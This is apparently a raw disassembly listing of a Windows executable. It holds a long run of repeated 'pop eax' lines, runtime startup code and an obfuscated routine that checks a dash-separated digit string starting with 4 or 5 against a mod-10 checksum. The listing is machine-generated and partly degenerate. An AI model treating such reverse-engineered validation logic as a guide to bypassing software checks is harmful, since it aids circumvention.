		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
		pop	eax
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 7Ch dup(0)
		dd 3900h dup(?)
_data		ends

; ---------------------------------------------------------------------------
; Section 4. (virtual address 0003A000)
; Virtual size			: 00116068 (1138792.)
; Section size in file		: 0000D684 (  54916.)
; Offset to raw	data for section: 00015A00
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 43A000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43A006:				; DATA XREF: sub_43A026+Ao
		xor	eax, eax
		inc	eax
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		jz	short locret_43A025
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_43A025:				; CODE XREF: .text:0043A014j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43A026	proc near		; CODE XREF: .text:0043A14Ep
					; .text:0043A17Cp

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset loc_43A006
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_43A043:				; CODE XREF: sub_43A026+44j
					; sub_43A026+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43A072
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_43A072
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_43A043
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_43A043
; ---------------------------------------------------------------------------


loc_43A072:				; CODE XREF: sub_43A026+2Aj
					; sub_43A026+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43A026	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A080	proc near		; CODE XREF: .text:0043A141p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_43A098
		push	[ebp+arg_0]
		call	sub_447618


loc_43A098:				; DATA XREF: sub_43A080+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43A080	endp

; ---------------------------------------------------------------------------
		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_43A175
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_43A0D3:				; CODE XREF: .text:0043A16Cj
		cmp	esi, 0FFFFFFFFh
		jz	loc_43A184
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_43A163
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword_551034, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	dword_551038, eax
		mov	eax, [edx+4]
		mov	dword_55103C, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, dword_551040
		mov	esi, dword_551038
		rep movsd
		lea	edi, dword_551040
		mov	dword_551038, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_43A163
		js	short loc_43A171
		mov	edi, [ebx+8]
		push	ebx
		call	sub_43A080
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_43A026
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_43A163:				; CODE XREF: .text:0043A0E4j
					; .text:0043A139j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_43A0D3
; ---------------------------------------------------------------------------


loc_43A171:				; CODE XREF: .text:0043A13Bj
		xor	eax, eax
		jmp	short loc_43A18E
; ---------------------------------------------------------------------------


loc_43A175:				; CODE XREF: .text:0043A0B8j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_43A026
		add	esp, 0Ch


loc_43A184:				; CODE XREF: .text:0043A0D6j
		push	0Bh
		call	sub_447660
		add	esp, 4


loc_43A18E:				; CODE XREF: .text:0043A173j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_43A1A7
		call	sub_43A1C3


loc_43A1A7:				; CODE XREF: .text:0043A1A0j
		call	sub_4475A3
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, off_551000
		call	eax ; sub_447578
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A1C3	proc near		; CODE XREF: .text:0043A1A2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_447630
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_447630
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_447630
		mov	[ebp+var_C], eax
		push	(offset	aWr+2)
		push	[ebp+var_8]
		call	sub_447624
		mov	dword_551008, eax
		push	offset aWr	; "wr"
		push	[ebp+var_4]
		call	sub_447624
		mov	dword_551004, eax
		push	offset aWr	; "wr"
		push	[ebp+var_C]
		call	sub_447624
		add	esp, 30h
		mov	dword_55100C, eax
		mov	edi, dword_551004
		or	edi, edi
		jz	short loc_43A23C
		push	0
		push	edi
		call	sub_44766C
		add	esp, 8


loc_43A23C:				; CODE XREF: sub_43A1C3+6Cj
		mov	edi, dword_55100C
		or	edi, edi
		jz	short loc_43A256
		push	0
		push	edi
		call	sub_44766C
		add	esp, 8
		call	sub_43A25C


loc_43A256:				; CODE XREF: sub_43A1C3+81j
		pop	edi
		leave
		retn
sub_43A1C3	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A25C	proc near		; CODE XREF: sub_43A1C3+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_44760C
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_43A294
; ---------------------------------------------------------------------------


loc_43A278:				; CODE XREF: sub_43A25C+3Bj
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_43A280
		inc	[ebp+var_C]


loc_43A280:				; CODE XREF: sub_43A25C+1Fj
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]


loc_43A294:				; CODE XREF: sub_43A25C+1Aj
		cmp	byte ptr [ebx],	0
		jnz	short loc_43A278
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_447654
		pop	ecx
		mov	[ebp+var_8], eax
		mov	dword_551010, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_43A2C2
		xor	eax, eax
		jmp	short loc_43A31F
; ---------------------------------------------------------------------------


loc_43A2C2:				; CODE XREF: sub_43A25C+60j
		mov	ebx, [ebp+var_10]
		jmp	short loc_43A30C
; ---------------------------------------------------------------------------


loc_43A2C7:				; CODE XREF: sub_43A25C+B3j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_43A306
		push	[ebp+var_4]
		call	sub_447654
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	[esi], eax
		or	eax, eax
		jnz	short loc_43A2F4
		jmp	short loc_43A31F
; ---------------------------------------------------------------------------


loc_43A2F4:				; CODE XREF: sub_43A25C+94j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr [edi]
		call	sub_447678
		add	esp, 8
		add	[ebp+var_8], 4


loc_43A306:				; CODE XREF: sub_43A25C+82j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]


loc_43A30C:				; CODE XREF: sub_43A25C+69j
		cmp	byte ptr [ebx],	0
		jnz	short loc_43A2C7
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx], 0
		mov	eax, 1


loc_43A31F:				; CODE XREF: sub_43A25C+64j
					; sub_43A25C+96j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43A25C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A324	proc near		; CODE XREF: sub_44496E+C33p

var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C6		= byte ptr -2C6h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_253		= byte ptr -253h
var_154		= byte ptr -154h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10A		= byte ptr -10Ah
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_101		= byte ptr -101h
var_FF		= byte ptr -0FFh
var_FC		= byte ptr -0FCh
var_FB		= byte ptr -0FBh
var_F8		= byte ptr -0F8h
var_F7		= byte ptr -0F7h
var_F6		= byte ptr -0F6h
var_F5		= byte ptr -0F5h
var_F3		= byte ptr -0F3h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 324h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	loc_43B466
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		cmp	al, 34h
		jz	short loc_43A34B
		cmp	al, 35h
		jnz	loc_43B466


loc_43A34B:				; CODE XREF: sub_43A324+1Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43A353:				; CODE XREF: sub_43A324+34j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43A353
		mov	[ebp+var_128], eax
		mov	edx, dword_55116C
		add	edx, 4
		add	edx, dword_551174
		cmp	eax, edx
		jz	short loc_43A384
		mov	edx, dword_5510A4
		add	edx, 0Ch
		cmp	eax, edx
		jnz	loc_43B466


loc_43A384:				; CODE XREF: sub_43A324+4Dj
		movsx	ebx, word_551094
		sub	ebx, 2
		jmp	short loc_43A3B4
; ---------------------------------------------------------------------------


loc_43A390:				; CODE XREF: sub_43A324+A0j
		mov	eax, 30h
		mul	ebx
		mov	[ebp+var_260], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_260]
		cmp	ds:dword_4CC550[edx], eax
		jz	loc_43B466
		inc	ebx


loc_43A3B4:				; CODE XREF: sub_43A324+6Aj
		mov	eax, dword_551090
		add	eax, 5Ch
		add	eax, dword_55119C
		cmp	ebx, eax
		jb	short loc_43A390
		mov	eax, dword_5511FC
		add	eax, 13h
		cmp	[ebp+var_128], eax
		jnz	loc_43A59A
		mov	eax, [ebp+arg_0]
		mov	al, [eax+0Eh]
		cmp	al, 2Dh
		jz	short loc_43A3EC
		cmp	al, 20h
		jnz	loc_43B466


loc_43A3EC:				; CODE XREF: sub_43A324+BEj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+9]
		cmp	al, 2Dh
		jz	short loc_43A3FE
		cmp	al, 20h
		jnz	loc_43B466


loc_43A3FE:				; CODE XREF: sub_43A324+D0j
		mov	eax, [ebp+arg_0]
		mov	al, [eax+4]
		cmp	al, 2Dh
		jz	short loc_43A410
		cmp	al, 20h
		jnz	loc_43B466


loc_43A410:				; CODE XREF: sub_43A324+E2j
		mov	eax, dword_551140
		add	eax, 0Ch
		movsx	edx, word_551208
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+11h]
		mov	[ebp+eax+var_FF], dl
		movsx	eax, word_551144
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+8]
		mov	[ebp+eax+var_FC], dl
		mov	eax, dword_551180
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ah]
		mov	[ebp+eax+var_F7], dl
		mov	eax, dword_5511DC
		add	eax, 7
		movsx	edx, word_5510C4
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+10h]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_55111C
		add	eax, dword_551170
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+7]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_551120
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Fh]
		mov	[ebp+eax+var_FB], dl
		movsx	eax, word_5510A8
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Ch]
		mov	[ebp+eax+var_F5], dl
		movsx	eax, word_55113C
		movsx	edx, word_551218
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+6]
		mov	[ebp+eax+var_103], dl
		mov	eax, dword_5510E0
		movsx	edx, word_5510B4
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx]
		mov	[ebp+eax+var_10A], dl
		mov	eax, dword_5511B4
		movsx	edx, word_551128
		sub	edx, 5
		mov	[ebp+eax+var_F3], dl
		mov	eax, dword_5511AC
		add	eax, dword_5510C8
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+3]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_551090
		add	eax, 4
		movsx	edx, word_551198
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Bh]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_5511BC
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+12h]
		mov	[ebp+eax+var_F6], dl
		mov	eax, dword_55120C
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+5]
		mov	[ebp+eax+var_FF], dl
		mov	eax, dword_5511AC
		movsx	edx, word_551210
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+2]
		mov	[ebp+eax+var_104], dl
		movsx	eax, word_551144
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+0Dh]
		mov	[ebp+eax+var_F8], dl
		mov	eax, dword_5511EC
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+1]
		mov	[ebp+eax+var_101], dl
		jmp	short loc_43A5A9
; ---------------------------------------------------------------------------


loc_43A59A:				; CODE XREF: sub_43A324+B0j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_4475D4


loc_43A5A9:				; CODE XREF: sub_43A324+274j
		mov	esi, dword_55118C
		dec	esi
		jmp	short loc_43A5C7
; ---------------------------------------------------------------------------


loc_43A5B2:				; CODE XREF: sub_43A324+2B6j
		mov	al, [ebp+esi+var_FF]
		cmp	al, 30h
		jl	short loc_43A5C1
		cmp	al, 39h
		jle	short loc_43A5C6


loc_43A5C1:				; CODE XREF: sub_43A324+297j
		jmp	loc_43B466
; ---------------------------------------------------------------------------


loc_43A5C6:				; CODE XREF: sub_43A324+29Bj
		inc	esi


loc_43A5C7:				; CODE XREF: sub_43A324+28Cj
		mov	eax, dword_551154
		add	eax, 3
		movsx	edx, word_551128
		add	eax, edx
		cmp	esi, eax
		jb	short loc_43A5B2
		mov	eax, dword_5510AC
		sub	eax, 7
		mov	[ebp+var_108], eax
		mov	esi, dword_5511FC
		jmp	short loc_43A638
; ---------------------------------------------------------------------------


loc_43A5F2:				; CODE XREF: sub_43A324+31Ej
		movsx	eax, [ebp+esi+var_FF]
		sub	eax, 30h
		mov	edx, dword_5510C8
		inc	edx
		imul	eax, edx
		add	[ebp+var_108], eax
		cmp	[ebp+esi+var_FF], 34h
		jle	short loc_43A625
		mov	eax, dword_551160
		add	eax, 2
		sub	[ebp+var_108], eax


loc_43A625:				; CODE XREF: sub_43A324+2F1j
		mov	eax, dword_551170
		movsx	edx, word_5510C4
		add	eax, edx
		sub	eax, 8
		add	esi, eax


loc_43A638:				; CODE XREF: sub_43A324+2CCj
		mov	eax, dword_5510BC
		add	eax, 10h
		cmp	esi, eax
		jb	short loc_43A5F2
		mov	eax, dword_551220
		mov	ebx, eax
		add	ebx, dword_551154
		sub	ebx, 9
		jmp	short loc_43A671
; ---------------------------------------------------------------------------


loc_43A656:				; CODE XREF: sub_43A324+360j
		movsx	eax, [ebp+ebx+var_FF]
		sub	eax, 30h
		add	[ebp+var_108], eax
		movsx	eax, word_5510CC
		inc	eax
		add	ebx, eax


loc_43A671:				; CODE XREF: sub_43A324+330j
		movsx	eax, word_551198
		mov	edx, dword_551228
		lea	eax, [eax+edx+7]
		cmp	ebx, eax
		jb	short loc_43A656
		mov	eax, [ebp+var_108]
		mov	ecx, 0Ah
		xor	edx, edx
		div	ecx
		mov	edi, dword_551238
		movsx	ebx, word_5510F4
		add	edi, ebx
		sub	edi, 2
		cmp	edx, edi
		jnz	loc_43B466
		lea	eax, [ebp+var_FF]
		push	eax
		call	ds:dword_54EA74
		pop	ecx
		or	eax, eax
		jnz	loc_43B466
		mov	esi, dword_5511E0
		sub	esi, 4
		mov	esi, dword_551238
		jmp	short loc_43A701
; ---------------------------------------------------------------------------


loc_43A6D6:				; CODE XREF: sub_43A324+3E9j
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_264], eax
		mov	eax, dword_551140
		add	eax, dword_551150
		sub	eax, 5
		mov	edx, [ebp+var_264]
		cmp	ds:dword_4CC550[edx], eax
		jz	short loc_43A70F
		inc	esi


loc_43A701:				; CODE XREF: sub_43A324+3B0j
		movsx	eax, word_5511A4
		add	eax, 5Eh
		cmp	esi, eax
		jb	short loc_43A6D6


loc_43A70F:				; CODE XREF: sub_43A324+3DAj
		movsx	eax, word_551138
		mov	edx, dword_55122C
		lea	eax, [eax+edx+5Ah]
		cmp	esi, eax
		jz	loc_43B466
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_268], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_268]
		mov	ds:dword_4CC550[edx], eax
		push	offset byte_5529B1
		call	sub_43CAF7
		pop	ecx
		mov	edi, dword_5510AC
		movsx	ebx, word_5511C4
		add	edi, ebx
		sub	edi, 0Fh
		push	edi
		push	eax
		movsx	edi, word_551210
		sub	edi, 5
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_50E930
		mov	[ebp+var_134], eax
		mov	ecx, dword_5511F8
		sub	ecx, 3
		cmp	eax, ecx
		jnz	short loc_43A794
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_134], eax


loc_43A794:				; CODE XREF: sub_43A324+465j
		push	offset dword_5529A4
		call	sub_43CAF7
		push	eax
		push	[ebp+var_134]
		call	sub_445A79
		mov	[ebp+var_12C], eax
		push	offset dword_552998
		call	sub_43CAF7
		push	eax
		push	[ebp+var_12C]
		call	sub_445A79
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_26C], eax
		mov	ebx, eax
		mov	ds:dword_4CC554[ebx], edi
		push	0
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_270], eax
		push	ds:dword_4CC554[eax]
		call	ds:dword_54E958
		mov	eax, dword_5511D0
		sub	eax, 7
		push	eax
		call	ds:dword_44B598
		mov	[ebp-10Ch], eax
		lea	eax, [ebp+var_11C]
		push	eax
		push	[ebp+var_12C]
		call	ds:dword_54E950
		push	offset word_55298E
		call	sub_43CAF7
		add	esp, 1Ch
		mov	edi, dword_5511C0
		dec	edi
		push	edi
		push	dword ptr [ebp-10Ch]
		movsx	edi, word_551194
		movsx	ebx, word_5511F0
		add	edi, ebx
		sub	edi, 7
		push	edi
		push	[ebp+var_12C]
		mov	edi, [ebp+var_110]
		sub	edi, [ebp+var_118]
		push	edi
		mov	edi, [ebp+var_114]
		sub	edi, [ebp+var_11C]
		push	edi
		movsx	edi, word_55113C
		sub	edi, 9
		push	edi
		mov	edi, dword_55110C
		sub	edi, 2
		push	edi
		push	50800000h
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		push	200h
		call	ds:dword_4CD93C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_274], eax
		mov	ebx, eax
		mov	ds:dword_4CC558[ebx], edi
		mov	eax, [ebp+var_114]
		sub	eax, [ebp+var_11C]
		mov	edx, dword_5511E0
		add	edx, 29h
		sub	eax, edx
		mov	[ebp+var_120], eax
		mov	edi, [ebp+var_110]
		sub	edi, [ebp+var_118]
		mov	ebx, dword_5511D4
		add	ebx, 0F2h
		sub	edi, ebx
		mov	ebx, dword_551204
		add	ebx, 3Ah
		mov	eax, edi
		sub	eax, ebx
		xor	edx, edx
		test	eax, eax
		setl	dl
		add	eax, edx
		sar	eax, 1
		mov	[ebp+var_124], eax
		mov	edx, dword_551234
		add	edx, dword_551184
		sub	edx, 0Ch
		cmp	eax, edx
		jge	short loc_43A934
		movsx	eax, word_5510F8
		add	eax, dword_551238
		sub	eax, 4
		mov	[ebp+var_124], eax


loc_43A934:				; CODE XREF: sub_43A324+5F8j
		push	offset dword_552984
		call	sub_43CAF7
		mov	[ebp+var_278], eax
		push	offset dword_552980
		call	sub_43CAF7
		mov	[ebp+var_27C], eax
		mov	edi, dword_551220
		add	edi, dword_551140
		sub	edi, 3
		push	edi
		push	dword ptr [ebp-10Ch]
		mov	edi, dword_5510C8
		dec	edi
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_280], eax
		mov	edi, eax
		push	ds:dword_4CC558[edi]
		movsx	edi, word_551138
		add	edi, 0F7h
		push	edi
